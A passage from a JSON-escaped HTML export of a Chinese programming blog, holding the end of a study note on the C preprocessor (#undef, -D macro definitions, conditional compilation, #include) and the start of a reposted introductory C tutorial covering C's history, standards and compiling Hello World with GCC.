title=\"undef\"\u003e\u003c/a\u003eundef\u003c/h2\u003e\u003cp\u003e用于移除一个现存的宏定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eundef\u003c/span\u003e name\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"命令行定义\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"命令行定义\"\u003e\u003c/a\u003e命令行定义\u003c/h2\u003e\u003cp\u003e编译时,可以在编译选项中定义宏。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"built_in\"\u003earray\u003c/span\u003e[ARRAY_SIZE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e源码中并没有给出\u003ccode\u003eARRAY_SIZE\u003c/code\u003e的定义,所以我们必须在编译时指定。\u003c/p\u003e\u003cp\u003e通用格式为:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e-Dname\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e-Dname=stuff\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e所以我们应该这样给出它的定义:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc main.c -DARRAY_SIZE=100\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"条件编译\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E6%9D%A1%E4%BB%B6%E7%BC%96%E8%AF%91\" class=\"headerlink\" title=\"条件编译\"\u003e\u003c/a\u003e条件编译\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e constant-expression\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statements\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* #elif可选 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e constant-expression\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statements\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statements\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003econstant-expression\u003c/code\u003e,即常量表达式,意思是说要么它是一个字面值常量(比如1),要么就是用define定义的符号。\u003c/p\u003e\u003cp\u003e此时,预处理器就会根据这几个常量表达式来对源代码选择性地编译了。在进行debug时尤为有用。定义宏\u003ccode\u003eDEBUG\u003c/code\u003e,若值为1则编译一些测试时才会用的语句;否则只编译其他语句。\u003c/p\u003e\u003cp\u003e同时它还有个较常用的指令:是否被定义\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//这几条都是等价的\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined(symbol)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e symbol\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//还可以用逻辑运算\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e !defined(symbol)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//和下面这条等价\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e symbol\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面所说的那些条件编译指令也支持嵌套。\u003c/p\u003e\u003ch2 id=\"include\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#include\" class=\"headerlink\" title=\"include\"\u003e\u003c/a\u003einclude\u003c/h2\u003e\u003cp\u003e\u003ccode\u003e#include\u003c/code\u003e表示将后面跟随的文件的所有内容复制并替换这一行语句。它有两种形式:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//这表示函数库文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//这表示同目录文件。如果找不到,则会在函数库目录查找\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"其他\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E5%85%B6%E4%BB%96\" class=\"headerlink\" title=\"其他\"\u003e\u003c/a\u003e其他\u003c/h2\u003e\u003cp\u003e包含\u003ccode\u003e#error\u003c/code\u003e,\u003ccode\u003e#line\u003c/code\u003e,\u003ccode\u003e#progma\u003c/code\u003e等。不一一介绍了。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e宏的内容基本就是这些了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/"},{"title":"《C语言入门教程》阮一峰","time":"2021-11-02T05:20:21Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e原文地址:\u003ca href=\"https://www.ruanyifeng.com/blog/2021/09/c-language-tutorial.html\"\u003ehttps://www.ruanyifeng.com/blog/2021/09/c-language-tutorial.html\u003c/a\u003e\u003cbr/\u003e我把这些都转载到这里了\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"C-语言简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"C 语言简介\"\u003e\u003c/a\u003eC 语言简介\u003c/h2\u003e\u003ch3 id=\"历史\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8E%86%E5%8F%B2\" class=\"headerlink\" title=\"历史\"\u003e\u003c/a\u003e历史\u003c/h3\u003e\u003cp\u003eC 语言最初是作为 Unix 系统的开发工具而发明的。\u003c/p\u003e\u003cp\u003e1969年,美国贝尔实验室的肯·汤普森(Ken Thompson)与丹尼斯·里奇(Dennis Ritchie)一起开发了 Unix 操作系统。Unix 是用汇编语言写的,无法移植到其他计算机,他们决定使用高级语言重写。但是,当时的高级语言无法满足他们的要求,汤普森就在 BCPL 语言的基础上发明了 B 语言。\u003c/p\u003e\u003cp\u003e1972年,丹尼斯·里奇和布莱恩·柯林汉(Brian Kernighan)又在 B 语言的基础上重新设计了一种新语言,这种新语言取代了 B 语言,所以称为 C 语言。\u003c/p\u003e\u003cp\u003e1973年,整个 Unix 系统都使用 C 语言重写。此后,这种语言开始快速流传,广泛用于各种操作系统和系统软件的开发。\u003c/p\u003e\u003cp\u003e1988年,美国国家标准协会(ANSI)正式将 C 语言标准化,标志着 C 语言开始稳定和规范化。\u003c/p\u003e\u003cp\u003e几十年后的今天,C 语言依然是最广泛使用、最流行的系统编程语言之一,Unix 和 Linux 系统现在还是使用 C 语言开发。\u003c/p\u003e\u003ch3 id=\"C-语言的特点\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%9A%84%E7%89%B9%E7%82%B9\" class=\"headerlink\" title=\"C 语言的特点\"\u003e\u003c/a\u003eC 语言的特点\u003c/h3\u003e\u003cp\u003eC 语言能够长盛不衰、广泛应用,主要原因是它有一些鲜明的特点。\u003c/p\u003e\u003cp\u003e(1)低级语言\u003c/p\u003e\u003cp\u003eC 语言能够直接操作硬件、管理内存、跟操作系统对话,这使得它是一种非常接近底层的语言,也就是低级语言,非常适合写需要跟硬件交互、有极高性能要求的程序。\u003c/p\u003e\u003cp\u003e(2)可移植性\u003c/p\u003e\u003cp\u003eC 语言的原始设计目的,是将 Unix 系统移植到其他计算机架构。这使得它从一开始就非常注重可移植性,C 程序可以相对简单地移植到各种硬件架构和操作系统。\u003c/p\u003e\u003cp\u003e除了计算机,C 语言现在还是嵌入式系统的首选编程语言,汽车、照相机、家用电器等设备的底层系统都是用 C 语言编程,这也是因为它良好的可移植性。\u003c/p\u003e\u003cp\u003e(3)简单性\u003c/p\u003e\u003cp\u003eC 语言的语法相对简单,语法规则不算太多,也几乎没有语法糖。一般来说,如果两个语法可以完成几乎相同的事情,C 语言就只会提供一种,这样大大减少了语言的复杂性。\u003c/p\u003e\u003cp\u003e而且,C 语言的语法都是基础语法,不提供高级的数据结构,比如 C 语言没有“类”(class),复杂的数据结构都需要自己构造。\u003c/p\u003e\u003cp\u003e(4)灵活性\u003c/p\u003e\u003cp\u003eC 语言对程序员的限制很少。它假设程序员知道自己在干嘛,不会限制你做各种危险的操作,你干什么都可以,后果也由自己负责。\u003c/p\u003e\u003cp\u003eC 语言的哲学是“信任程序员,不要妨碍他们做事”。比如,它让程序员自己管理内存,不提供内存自动清理功能。另外,也不提供类型检查、数组的负索引检查、指针位置的检查等保护措施。\u003c/p\u003e\u003cp\u003e表面上看,这似乎很危险,但是对于高级程序员来说,却有了更大的编程自由。不过,这也使得 C 语言的 debug 不太容易。\u003c/p\u003e\u003cp\u003e(5)总结\u003c/p\u003e\u003cp\u003e上面这些特点,使得 C 语言可以写出性能非常强、完全发挥硬件潜力的程序,而且 C 语言的编译器实现难度相对较低。但是另一方面,C 语言代码容易出错,一般程序员不容易写好。\u003c/p\u003e\u003cp\u003e此外,当代很多流行语言都是以 C 语言为基础,比如 C++、Java、C#、JavaScript 等等。学好 C 语言有助于对这些语言加深理解。\u003c/p\u003e\u003ch3 id=\"C-语言的版本\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%9A%84%E7%89%88%E6%9C%AC\" class=\"headerlink\" title=\"C 语言的版本\"\u003e\u003c/a\u003eC 语言的版本\u003c/h3\u003e\u003cp\u003e历史上,C 语言有过多个版本。\u003c/p\u003e\u003cp\u003e(1)K&R C\u003c/p\u003e\u003cp\u003e\u003ccode\u003eK\u0026amp;R C\u003c/code\u003e指的是 C 语言的原始版本。1978年,C 语言的发明者丹尼斯·里奇(Dennis Ritchie)和布莱恩·柯林(Brian Kernighan)合写了一本著名的教材《C 编程语言》(The C programming language)。由于 C 语言还没有成文的语法标准,这本书就成了公认标准,以两位作者的姓氏首字母作为版本简称“K\u0026amp;R C”。\u003c/p\u003e\u003cp\u003e(2)ANSI C(又称 C89 或 C90)\u003c/p\u003e\u003cp\u003eC 语言的原始版本非常简单,对很多情况的描述非常模糊,加上 C 语法依然在快速发展,要求将 C 语言标准化的呼声越来越高。\u003c/p\u003e\u003cp\u003e1989年,美国国家标准协会(ANSI)制定了一套 C 语言标准。1990年,国际标准化组织(ISO)通过了这个标准。它被称为“ANSI C”,也可以按照发布年份,称为“C89 或 C90”。\u003c/p\u003e\u003cp\u003e(3)C95\u003c/p\u003e\u003cp\u003e1995年,美国国家标准协会对1989年的那个标准,进行了补充,加入多字节字符和宽字符的支持。这个版本称为 C95。\u003c/p\u003e\u003cp\u003e(4)C99\u003c/p\u003e\u003cp\u003eC 语言标准的第一次大型修订,发生在1999年,增加了许多语言特性,比如双斜杠(\u003ccode\u003e//\u003c/code\u003e)的注释语法。这个版本称为 C99,是目前最流行的 C 版本。\u003c/p\u003e\u003cp\u003e(5)C11\u003c/p\u003e\u003cp\u003e2011年,标准化组织再一次对 C 语言进行修订,增加了 Unicode 和多线程的支持。这个版本称为 C11。\u003c/p\u003e\u003cp\u003e(6)C17\u003c/p\u003e\u003cp\u003eC11 标准在2017年进行了修补,但发布是在2018年。新版本只是解决了 C11 的一些缺陷,没有引入任何新功能。这个版本称为 C17。\u003c/p\u003e\u003cp\u003e(7)C2x\u003c/p\u003e\u003cp\u003e标准化组织正在讨论 C 语言的下一个版本,据说可能会在2023年通过,到时就会称为 C23。\u003c/p\u003e\u003ch3 id=\"C-语言的编译\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%9A%84%E7%BC%96%E8%AF%91\" class=\"headerlink\" title=\"C 语言的编译\"\u003e\u003c/a\u003eC 语言的编译\u003c/h3\u003e\u003cp\u003eC 语言是一种编译型语言,源码都是文本文件,本身无法执行。必须通过编译器,生成二进制的可执行文件,才能执行。编译器将代码从文本翻译成二进制指令的过程,就称为编译阶段,又称为“编译时”(compile time),跟运行阶段(又称为“运行时”)相区分。\u003c/p\u003e\u003cp\u003e目前,最常见的 C 语言编译器是自由软件基金会推出的 GCC 编译器,它可以免费使用。本书也使用这个编译器。Linux 和 Mac 系统可以直接安装 GCC,Windows 系统可以安装 MinGW。但是,也可以不用这么麻烦,网上有在线编译器,能够直接在网页上模拟运行 C 代码,查看结果,下面就是两个这样的工具。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCodingGround: \u003ca href=\"https://tutorialspoint.com/compile_c_online.php\"\u003ehttps://tutorialspoint.com/compile_c_online.php\u003c/a\u003e\u003c/li\u003e\u003cli\u003eOnlineGDB: \u003ca href=\"https://onlinegdb.com/online_c_compiler\"\u003ehttps://onlinegdb.com/online_c_compiler\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e本书的例子都使用 GCC 在命令行进行编译。\u003c/p\u003e\u003ch3 id=\"Hello-World-示例\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#Hello-World-%E7%A4%BA%E4%BE%8B\" class=\"headerlink\" title=\"Hello World 示例\"\u003e\u003c/a\u003eHello World 示例\u003c/h3\u003e\u003cp\u003eC 语言的源代码文件,通常以后缀名\u003ccode\u003e.c\u003c/code\u003e结尾。下面是一个简单的 C 程序\u003ccode\u003ehello.c\u003c/code\u003e。它就是一个普通的文本文件,任何文本编译器都能用来写。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面这个程序的唯一作用,就是在屏幕上面显示“Hello World”。\u003c/p\u003e\u003cp\u003e这里不讲解这些代码是什么意思,只是作为一个例子,让大家看看 C 代码应该怎么编译和运行。假设你已经安装好了 GCC 编译器,可以打开命令行,执行下面的命令。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc hello.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令使用\u003ccode\u003egcc\u003c/code\u003e编译器,将源文件\u003ccode\u003ehello.c\u003c/code\u003e编译成二进制代码。注意,\u003ccode\u003e$\u003c/code\u003e是命令行提示符,你真正需要输入的是\u003ccode\u003e$\u003c/code\u003e后面的部分。\u003c/p\u003e\u003cp\u003e运行这个命令以后,默认会在当前目录下生成一个编译产物文件\u003ccode\u003ea.out\u003c/code\u003e(assembler output 的缩写,Windows 平台为\u003ccode\u003ea.exe\u003c/code\u003e)。执行该文件,就会在屏幕上输出\u003ccode\u003eHello World\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ ./a.out\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eHello World\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eGCC 的\u003ccode\u003e-o\u003c/code\u003e参数(output 的缩写)可以指定编译产物的文件名。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -o hello hello.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令的\u003ccode\u003e-o 